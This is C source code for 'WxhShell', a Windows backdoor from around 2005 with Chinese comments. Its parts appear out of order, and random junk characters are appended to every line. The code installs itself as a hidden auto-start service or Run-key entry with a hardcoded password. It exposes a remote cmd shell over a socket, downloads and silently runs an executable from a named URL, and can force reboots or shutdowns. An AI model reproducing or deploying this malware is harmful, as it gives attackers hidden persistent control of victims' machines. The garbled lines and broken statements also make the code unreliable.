    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kg9ZSkJr  
    if(Boot(SHUTDOWN)) |P~TZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z>M0[DJ_  
    else { 8CwgV  
    closesocket(wsh); \>M3E  
    ExitThread(0); -pyTzC$HO  
    } ~?S/0]?c  
    break; i!sKL%z}  
    } W aks*^|  
  // 获取shell  xUzfBn  
  case 's': { )1&[uE#L  
    CmdShell(wsh); ;v>2z!M  
    closesocket(wsh); c00a;=ji  
    ExitThread(0); JZ80|-c  
    break; *G2p;n=2  
  } &5c)qap;n  
  // 退出 WVp14Z?k  
  case 'x': { qKZ~)B j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bo)w#X  
    CloseIt(wsh); O`Nzn~),x  
    break; @ L?7` VoE  
    } M>8#is(pV  
  // 离开 m[(2  
  case 'q': { s$|GVv1B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ws.F=kS>h  
    closesocket(wsh); ~ B1)!5Z  
    WSACleanup(); (4x`/  
    exit(1); M)( 5S1ndq  
    break; {N/(lB8  
        } O~l WFaW  
  } f*LDrAf9  
  } ,7z.%g3+z  
`A3"*,|z  
  // 提示信息 PzNk:O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NKh"x&R  
} E<D45C{DP  
  } 3|l+&LF!IC  
EL5gMs  
  return; $x#Y\dpS  
} `a98+x?JF  
7_ZfV? .  
// shell模块句柄 /vBOf;L  
int CmdShell(SOCKET sock) C.Y]PdYyj  
{ kk )9!7  
STARTUPINFO si; ~bg?V0  
ZeroMemory(&si,sizeof(si)); 5fDVJE "9"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7S(5\9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?tV$o,11  
PROCESS_INFORMATION ProcessInfo; 9}:%CpD^~I  
char cmdline[]="cmd"; +*mi%)I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N>xs@_"o  
  return 0; tNG0ft%a  
} rAM{<  
MCjf$pZN]  
// 自身启动模式 _cQTQ  
int StartFromService(void) jV#{8 8  
{ (O"Wa  
typedef struct O#sDZ.EL  
{ G?#f@N0.5p  
  DWORD ExitStatus; U# G0  
  DWORD PebBaseAddress; bb}|"m .  
  DWORD AffinityMask; :l'61$=  
  DWORD BasePriority; }L'BzSU@G  
  ULONG UniqueProcessId; v#8{pr  
  ULONG InheritedFromUniqueProcessId; ofC=S$wX  
}   PROCESS_BASIC_INFORMATION; 'n6D3Vse  
sy0|=E*;8"  
PROCNTQSIP NtQueryInformationProcess; Fr`"XH  
PsjSL8]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,W'`rCxJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6f v{?0|  
-M/DOTc  
  HANDLE             hProcess; DW\';"  
  PROCESS_BASIC_INFORMATION pbi; ~Uz,%zU#3  
B>AmH%f/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [D=ba=r0X  
  if(NULL == hInst ) return 0; j(AN] g:  
" ;8H;U`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]p:s5Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J-P> ~ L"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %scSp&X  
}4Ef31X8q  
  if (!NtQueryInformationProcess) return 0; "eA4JL\%)  
q@1b{q#C5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rF'_YYpr>  
  if(!hProcess) return 0; AvfSR p  
+fBbW::R^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eG55[V<!  
(J I4ibP  
  CloseHandle(hProcess); 2f2Vy:&O_  
k?zw4S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oe:+%p  
if(hProcess==NULL) return 0; 3MPmLV#f  
1MkQ$v7m  
HMODULE hMod; wJ,l"bnq  
char procName[255]; dfAnOF"-  
unsigned long cbNeeded; P-[6'mw`  
Ha>Hb`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j *B,b4  
,UNCBnv1  
  CloseHandle(hProcess); !VBl/ aU@  
X,DG2HT  
if(strstr(procName,"services")) return 1; // 以服务启动 7jPPN  
U$-Gc[=|  
  return 0; // 注册表启动 8vpB(VxV+  
} #e|G!'wdj  
lgWEB3f .  
// 主模块 DyhW_PH2J  
int StartWxhshell(LPSTR lpCmdLine) (1Q G]1q  
{ 4HG;v|Cp  
  SOCKET wsl; #X1iig+  
BOOL val=TRUE; 9f1,E98w_  
  int port=0; .K%1{`.|  
  struct sockaddr_in door; ,/*L|M/&5  
*i3\`;^=  
  if(wscfg.ws_autoins) Install(); xvn@zi  
j]Y`L?!Q  
port=atoi(lpCmdLine); !:"$1kh1("  
WD.td  
if(port<=0) port=wscfg.ws_port; hilgl<UF  
c~ x  
  WSADATA data; jiw5>RNt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h]W PWa)M  
`#J0@ -  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sa6/$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4OX|pa  
  door.sin_family = AF_INET; 7-S?\:J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b{4@ ~>i  
  door.sin_port = htons(port); +OEqDXR+_  
nbd-f6F6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ilf;Q(*$>>  
closesocket(wsl); w1>uD]  
return 1; X$mCn#8m  
} QAN :  
V&e 9?5@  
  if(listen(wsl,2) == INVALID_SOCKET) { &}}UdJ`  
closesocket(wsl); "L ,)4v/J  
return 1; % \N52  
} 8);G'7O  
  Wxhshell(wsl); l5; SY  
  WSACleanup(); TQ hu$z<  
P)D2PVD  
return 0; R(.5Hs  
PqUjBP\  
} 1V/?p<A  
Z@sDxYt9  
// 以NT服务方式启动 X"hdCY%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pb8sx1.j;  
{ 9feVy\u  
DWORD   status = 0; q)N]*~  
  DWORD   specificError = 0xfffffff; ~| CWy  
LeP;HP|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *m$lAWB5D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nLvF^%P8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9pF@#A9p  
  serviceStatus.dwWin32ExitCode     = 0; OQ*BPmS-   
  serviceStatus.dwServiceSpecificExitCode = 0; EjY8g@M;t  
  serviceStatus.dwCheckPoint       = 0; ECW=865jL  
  serviceStatus.dwWaitHint       = 0; ' v)@K0P  
D_s0)|j$cy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H<N$z 3k  
  if (hServiceStatusHandle==0) return; v^A4%e<8^r  
,ICn]Pdz@  
status = GetLastError(); 2?c##Izn  
  if (status!=NO_ERROR) ]:"<if gp$  
{ LZR x>q^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fGtYvl O-5  
    serviceStatus.dwCheckPoint       = 0; &AUtUp kOo  
    serviceStatus.dwWaitHint       = 0; M0) q  
    serviceStatus.dwWin32ExitCode     = status; Po B-:G6  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,y>Sq +  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z.QgL=  
    return; r3;@  
  } oeKVcVP|'&  
v~.nP} E^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qp##>c31X  
  serviceStatus.dwCheckPoint       = 0; 7oWT6Qa5  
  serviceStatus.dwWaitHint       = 0; 8GN_ 3pT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lq'MLg  
} (8Ptuh6\\2  
\-`,fat  
// 处理NT服务事件,比如:启动、停止 mG\$W#+j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Py72:;wn  
{ V vFMpPi  
switch(fdwControl) ahoXQ8c:\}  
{ D,hZVKa  
case SERVICE_CONTROL_STOP: v}`{OE:-J  
  serviceStatus.dwWin32ExitCode = 0; r `;_ #&b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _/c1b>kcso  
  serviceStatus.dwCheckPoint   = 0; K`vc&uf  
  serviceStatus.dwWaitHint     = 0; V9:Jz Q=?`  
  { {r>iUgg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y3+iADo.p  
  } QKB*N)%6  
  return; T1~G {@"  
case SERVICE_CONTROL_PAUSE: 1fOH$33  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zBjtPtiiI8  
  break; _TbQjE&6  
case SERVICE_CONTROL_CONTINUE: ~NV 8avZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *Ei(BrL/;  
  break; ^Ay>%`hf*  
case SERVICE_CONTROL_INTERROGATE: my]t[%Q{  
  break; WeiDg,]e$b  
}; |PNPOj0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m+!T $$W  
} 63PSYj(y  
^0tO2$  
// 标准应用程序主函数 6k9cvMs%H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S*3*Q l*  
{ &l8eljg  
}nx5  
// 获取操作系统版本 1Qk]?R/DN  
OsIsNt=GetOsVer(); \8<ZPqt9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H_n Ilku  
CK=TD`$w  
  // 从命令行安装 UKpc3Jo:~  
  if(strpbrk(lpCmdLine,"iI")) Install(); .+ d.~jHX  
E#zLm  
  // 下载执行文件 eHl)/='  
if(wscfg.ws_downexe) { U_KCN09  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p}e1!q;N  
  WinExec(wscfg.ws_filenam,SW_HIDE); S HxD(6  
} X/BcS[a  
wrhGZ=k{  
if(!OsIsNt) { ^B?brH}  
// 如果时win9x,隐藏进程并且设置为注册表启动 n@te.,?A"  
HideProc(); mMOjV_  
StartWxhshell(lpCmdLine);  DJJd_  
} MXa(Oi2Gg  
else j;yKL-ycB  
  if(StartFromService()) p>=i'~lQ6  
  // 以服务方式启动 v$)ZoM6E  
  StartServiceCtrlDispatcher(DispatchTable); :B7dxE9[r  
else L/c`t7  
  // 普通方式启动 /6{P ?)]pE  
  StartWxhshell(lpCmdLine); aN?^vW<  
+(U;+6 b  
return 0; csjCXT=Ve  
} ,CxIA^  
90Bn}@t=Q  
*8Kx y@  
vdaG?+_o  
=========================================== s9rKXY',:l  
M.o H,Kd6  
up!54}qy  
8G )O,F7z  
Ud& '*,  
*!r"+?0gN  
" KXf (v4  
/<VR-yr  
#include <stdio.h>  SH6+'7  
#include <string.h> 5V*R  Dh  
#include <windows.h> hX)PdRk#  
#include <winsock2.h> &dky_H  
#include <winsvc.h> 6o)RsxN eu  
#include <urlmon.h> ) #l&BV5  
-P:o ^_)g  
#pragma comment (lib, "Ws2_32.lib") S;^'Ek"Z.  
#pragma comment (lib, "urlmon.lib") @%"r69\  
LsxRK5   
#define MAX_USER   100 // 最大客户端连接数 BZOB\Ym  
#define BUF_SOCK   200 // sock buffer L_sDbAT~<  
#define KEY_BUFF   255 // 输入 buffer 7e:eL5f>~  
E_ D0Nm%n  
#define REBOOT     0   // 重启 m*'hHt n  
#define SHUTDOWN   1   // 关机 'm^]X3y*  
7 -S?U~s  
#define DEF_PORT   5000 // 监听端口 +z|@K=d#|  
qM18 Ji*  
#define REG_LEN     16   // 注册表键长度 #b9V&/ln  
#define SVC_LEN     80   // NT服务名长度 Mc~L%5  
7 MS-Gs|  
// 从dll定义API =p2: qSV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cV4]Y(9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3gv@JGt7`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tx7B?/5D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {BY(zsl  
%n^ugm0B  
// wxhshell配置信息 *. 1S  
struct WSCFG { Le V";=_n  
  int ws_port;         // 监听端口 7/zaf  
  char ws_passstr[REG_LEN]; // 口令 @TJ2 |_s6]  
  int ws_autoins;       // 安装标记, 1=yes 0=no \Mzr[dI  
  char ws_regname[REG_LEN]; // 注册表键名 N4l}5(e  
  char ws_svcname[REG_LEN]; // 服务名 muMd9\p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qVssw* GDB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c'D NO~H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vg(FF "  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9qk J<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g(C/J9J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K5HzA1^  
H`s[=Y,m  
}; ws<p BC,m  
.*B@1q  
// default Wxhshell configuration [jR >.H'  
struct WSCFG wscfg={DEF_PORT, 0Ibe~!EiQJ  
    "xuhuanlingzhe", q"i]&dMr  
    1, VCzb[.  
    "Wxhshell", z.Vf,<H  
    "Wxhshell", ++ZP X'|  
            "WxhShell Service", 9-Z ?  
    "Wrsky Windows CmdShell Service", 7Ue&y8Yf  
    "Please Input Your Password: ", w7c0jIf{  
  1, XS$#\UQ  
  "http://www.wrsky.com/wxhshell.exe", :_|Xr'n`A  
  "Wxhshell.exe" ojyP.R  
    }; d&lT/S  
Z*n4$?%W  
// 消息定义模块 -/:!AxIH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NiYT%K%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5<M$ XT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +;,X?E]g  
char *msg_ws_ext="\n\rExit."; %\L{Ud%7  
char *msg_ws_end="\n\rQuit."; 5+2qx)FZ  
char *msg_ws_boot="\n\rReboot..."; :F_>`{  
char *msg_ws_poff="\n\rShutdown..."; '~VF*i^4  
char *msg_ws_down="\n\rSave to "; 6_&S ?yA  
"E@A~<RKP  
char *msg_ws_err="\n\rErr!";  z31g"  
char *msg_ws_ok="\n\rOK!"; nRyx2\Py+  
yeam-8  
char ExeFile[MAX_PATH]; ,Jx.Kj.,  
int nUser = 0; Pk;1q?tGw  
HANDLE handles[MAX_USER]; w"O{@2B3:H  
int OsIsNt; ^{YK'60  
{e5-  
SERVICE_STATUS       serviceStatus; Jn%Etz-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e8M0Lz#}  
DVt^O [  
// 函数声明 D`fIw` _  
int Install(void); _>bk'V7  
int Uninstall(void); TK0WfWch  
int DownloadFile(char *sURL, SOCKET wsh); >)HKruSW.  
int Boot(int flag); 'nS>'yYH#  
void HideProc(void); T 0qM "  
int GetOsVer(void); c axOxRo\  
int Wxhshell(SOCKET wsl); d@tf+_Ih  
void TalkWithClient(void *cs);  A"1%E.1  
int CmdShell(SOCKET sock); }~p%e2<  
int StartFromService(void); _gEojuaN  
int StartWxhshell(LPSTR lpCmdLine); *zMt/d*<&  
Jp c %i8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /A+5q\8G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /Ny#+$cfk  
7uf5w0]  
// 数据结构和表定义 9fWR8iV  
SERVICE_TABLE_ENTRY DispatchTable[] = &fsk ESV0  
{ wD /jN:  
{wscfg.ws_svcname, NTServiceMain}, +-T|ov<  
{NULL, NULL} j`+{FCB7  
}; 9Wg;M#c2Y|  
j'OXT<n*  
// 自我安装 IgRi(q^b-  
int Install(void) P4LiU2C  
{ 4|4 *rhwp  
  char svExeFile[MAX_PATH]; e jR_3K^  
  HKEY key; \}\# fg  
  strcpy(svExeFile,ExeFile); v(6[z)A0  
*\ B(-  
// 如果是win9x系统,修改注册表设为自启动 6ma.FvSIM  
if(!OsIsNt) { `(DHa=s1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mM~&mAa+Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JmeE}:5lpj  
  RegCloseKey(key); A%X=yqY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h(^c5#.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F'"-aB ~  
  RegCloseKey(key); S;u.Ds&  
  return 0; 4 9HP2E  
    } qL <@PC.5  
  } i3pOGa<  
} G`/4 n@  
else { *^RoI  
=A~5?J=  
// 如果是NT以上系统,安装为系统服务 8kC$Z)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q`{Vs:8X  
if (schSCManager!=0) [e_<UF@A*  
{ ?B@3A)a  
  SC_HANDLE schService = CreateService Gm &jlN  
  ( O.Y|},F  
  schSCManager, C+>mehDC_G  
  wscfg.ws_svcname, H0jbG;  
  wscfg.ws_svcdisp, 8C[eHC*r  
  SERVICE_ALL_ACCESS, hL&7D @  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vk*XiEfKm>  
  SERVICE_AUTO_START, }{kn/m/  
  SERVICE_ERROR_NORMAL, :S}ZF$ $j%  
  svExeFile, C,%Dp0  
  NULL, Anqt:(  
  NULL, ).0p\.W~  
  NULL, K7C!ZXw~  
  NULL, K4o']{:U  
  NULL LK!sk5/  
  ); Efoy]6P\  
  if (schService!=0) TU;AO%5  
  { _yF@k~ h  
  CloseServiceHandle(schService); @=2u;$.  
  CloseServiceHandle(schSCManager); Hzc}NyJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4E_u.tJ  
  strcat(svExeFile,wscfg.ws_svcname); }gFa9M<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b4EUr SL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y+kuj],h  
  RegCloseKey(key); {U@"]{3Qx  
  return 0; ,\i,2<hz.  
    } K9Onjs% U  
  } SL/'UoYm<  
  CloseServiceHandle(schSCManager); .Wr7*J[V.  
}  !VXy67  
} +Z-{6C  
}2 \Hg  
return 1; ,% 'r:@'  
} .JTRFk{W  
}D`ZWTjDay  
// 自我卸载 Ui-Y `  
int Uninstall(void) 4=`1C-v?q  
{ X$G:3uoN  
  HKEY key; r\}?HS06  
\){_\{&  
if(!OsIsNt) { Pa#Jwo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X}5"ZLa7l  
  RegDeleteValue(key,wscfg.ws_regname); Yakrsi/jV}  
  RegCloseKey(key); XH0o8\.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y|i(~  
  RegDeleteValue(key,wscfg.ws_regname); r_FI5f  
  RegCloseKey(key); u~ VXe  
  return 0; Nq^o8q_  
  }  Hyenn  
} ,Z :2ba  
} eD3\>Y.z  
else { mkPqxzxbrL  
MiKq|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M= |is*t  
if (schSCManager!=0) `c|H^*RC  
{ Z0O0Q=e\Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VC_F Cz  
  if (schService!=0) =v!Z8zk=W  
  { W voIh4]  
  if(DeleteService(schService)!=0) { 9$qw&j[  
  CloseServiceHandle(schService); -e?n4YO*\  
  CloseServiceHandle(schSCManager); VKw.g@BY  
  return 0; XR p60i6f  
  } ,\1Rf.  
  CloseServiceHandle(schService); N)a5~<fBG  
  } {?++T 0  
  CloseServiceHandle(schSCManager); KY0<N 9{  
} &U CtyCz  
} n5efHJU  
L?P[{Ohh/  
return 1; H3pZfdh?w  
} g;OR{  
44t;#6p@%>  
// 从指定url下载文件 \VI0/G)L  
int DownloadFile(char *sURL, SOCKET wsh) |}:q@]dC#  
{ !6sR|c"~j  
  HRESULT hr; '/rU<.1  
char seps[]= "/"; =3rf}bl2  
char *token; :oYSvK7>  
char *file; 3q@H8%jcw  
char myURL[MAX_PATH]; ]/3!t=La  
char myFILE[MAX_PATH]; s jaaZx1  
<lU(9) L;&  
strcpy(myURL,sURL); R#?atL$(  
  token=strtok(myURL,seps); PI9aKNt  
  while(token!=NULL) ftRdK>a D  
  { (lq%4h  
    file=token; j~=<O<P  
  token=strtok(NULL,seps); jeO`45O  
  } 0"N4WH O  
__uk/2q  
GetCurrentDirectory(MAX_PATH,myFILE); ar'VoL}  
strcat(myFILE, "\\"); m;IKV,  
strcat(myFILE, file); {j<?+o5A  
  send(wsh,myFILE,strlen(myFILE),0); <VQ@I  
send(wsh,"...",3,0); [H9<JdUZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V$iA3)7W%  
  if(hr==S_OK) /,j'V r\"  
return 0; 8/y8tMm]  
else J-azBi  
return 1; mi5bk>o  
/xr75|-8  
} EG_P^ <z  
KV'3\`v@LY  
// 系统电源模块 .m%5Esx  
int Boot(int flag) hYA1N&yz@  
{ c=a;<,Rzb  
  HANDLE hToken; : Q2=t!  
  TOKEN_PRIVILEGES tkp; %kH,Rl\g  
X'%BS  
  if(OsIsNt) { h Y *^rY'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6Bd:R}yZP7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Uxe]T  
    tkp.PrivilegeCount = 1; 7|[Dr@.S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C\;%IGn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }N,v&  B  
if(flag==REBOOT) { =i2]qj\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ' %rn-|)  
  return 0; Z^J)]UL/  
} d7x6r3J$  
else { [iyhrc:@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xk,1 D  
  return 0; RUut7[r  
} bGwj` lue  
  } B4c;/W-  
  else { 5nmE*(  
if(flag==REBOOT) { ;2MdvHhz1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OMab!  
  return 0; ]/%CTD(O  
} m1tc="j  
else { dDA&\BuS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DGz}d,ie  
  return 0; D.a\O9q"&{  
} <iH"5DEe  
} CHL5@gg@>y  
eSW}H_3  
return 1; 3.=o}!  
} b"w2 2%  
B < HD  
// win9x进程隐藏模块 "CFU$~  
void HideProc(void) qA25P<  
{ - s{&_]A~  
|y?W#xb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1p SEr6  
  if ( hKernel != NULL )  ZLf(m35  
  { >{rD3X"d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r-[YJzf@P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9):^[Wkx  
    FreeLibrary(hKernel); }Py Z{yS  
  } [Z1,~(3  
fq):'E)  
return; bQu@.'O!k  
} bZ+H u~  
=}e{U&CX  
// 获取操作系统版本 ws,VO*4  
int GetOsVer(void) ? fM_Y  
{  .g=D70  
  OSVERSIONINFO winfo; =;?Maexp3$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x51xY$M  
  GetVersionEx(&winfo); H4M`^r@)'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4]%MrSjS  
  return 1; `{}DLaD9  
  else "M %WV>  
  return 0; H]M[2C7#N  
} _Pl5?5eZj  
M=EV^Tw-=  
// 客户端句柄模块 Ik=bgEF  
int Wxhshell(SOCKET wsl) ag!q:6&  
{ rC,ZRFF  
  SOCKET wsh; #g1,U7vv8  
  struct sockaddr_in client; ),-MrL8c%  
  DWORD myID; _M- PF$  
i*+N[#yp  
  while(nUser<MAX_USER) XNl!?*l5?l  
{ `2HNQiK'@  
  int nSize=sizeof(client); <*ME&c gh4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DM(c :+K-  
  if(wsh==INVALID_SOCKET) return 1; ^X:g C9  
sHSg _/|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5hlS2fn  
if(handles[nUser]==0) cNl$ vP83z  
  closesocket(wsh); -e*(+  
else - KaU@t  
  nUser++; cA!o xti  
  }  '^,|8A2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uC 2{ Mmy  
0qN+W&H  
  return 0; rp!{QG  
} |W|RX3D  
<VT|R~  
// 关闭 socket okbW.  ~  
void CloseIt(SOCKET wsh) [R/'hH5  
{ !XF:.|  
closesocket(wsh); g'.(te |  
nUser--; -&np/tEu&  
ExitThread(0); (.g?|c  
} OX{2@+f#  
^4a|gc  
// 客户端请求句柄 h)X"<a++N  
void TalkWithClient(void *cs) X`k#/~+0  
{ r}#,@<  
qu/b:P  
  SOCKET wsh=(SOCKET)cs; 8fb<hq<  
  char pwd[SVC_LEN]; a0&R! E;  
  char cmd[KEY_BUFF]; b5^-q c6X  
char chr[1]; ;k,#o!>  
int i,j; cN]g^  
iE"+-z\U  
  while (nUser < MAX_USER) { )Tf,G[z&ge  
7KV0g1GQ  
if(wscfg.ws_passstr) { VyOpPIP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6" GHVFB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bN>|4hS  
  //ZeroMemory(pwd,KEY_BUFF); ?T8^tGD[  
      i=0; ]_:j+6i  
  while(i<SVC_LEN) { 5R*55@)  
#pWeMt'  
  // 设置超时 jg(cpo d  
  fd_set FdRead; +J2;6t  
  struct timeval TimeOut; T<u QhPMw  
  FD_ZERO(&FdRead); 1u_< 1X3  
  FD_SET(wsh,&FdRead); "pQ) 5/e  
  TimeOut.tv_sec=8; F{ sPQf'  
  TimeOut.tv_usec=0; dpB\=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b3+F~G-I"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A04E <nr  
PO]c&}/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o/I`L  
  pwd=chr[0]; *|3G"B{w6  
  if(chr[0]==0xd || chr[0]==0xa) { <io;d$=}  
  pwd=0; e]3b0`E  
  break; c+G%o8  
  } sN@=Ri?\  
  i++; - ]U2G:  
    } xn2f!\%p  
/jd.<r=_I  
  // 如果是非法用户,关闭 socket 4cJka~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `SG8w_  
} (L !#2Jy  
HD8*>p.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rj])c^ZA'*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b("M8}o  
7\EY&KI"0  
while(1) { b%UbTb,  
2NZC,znQ  
  ZeroMemory(cmd,KEY_BUFF); U3M;6j9`  
$/$ 5{<  
      // 自动支持客户端 telnet标准   ^<+V[ =X  
  j=0; YiTVy/  
  while(j<KEY_BUFF) { {3|h^h_R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T9-2"M=|<  
  cmd[j]=chr[0]; WXJ%hA  
  if(chr[0]==0xa || chr[0]==0xd) { ,qK3 3Bn  
  cmd[j]=0; Qjd<%!]+\  
  break; /fC8jdp&  
  } kZ<"hsh,Y'  
  j++; v|;}}ol  
    } g I@I.=y  
1\%2@NR  
  // 下载文件 !)LVZfQ0  
  if(strstr(cmd,"http://")) { eBg:[4 4V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 71OQ?fc  
  if(DownloadFile(cmd,wsh)) t}f,j^`e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t4r%EP|Zt  
  else U6LENY+Ja  
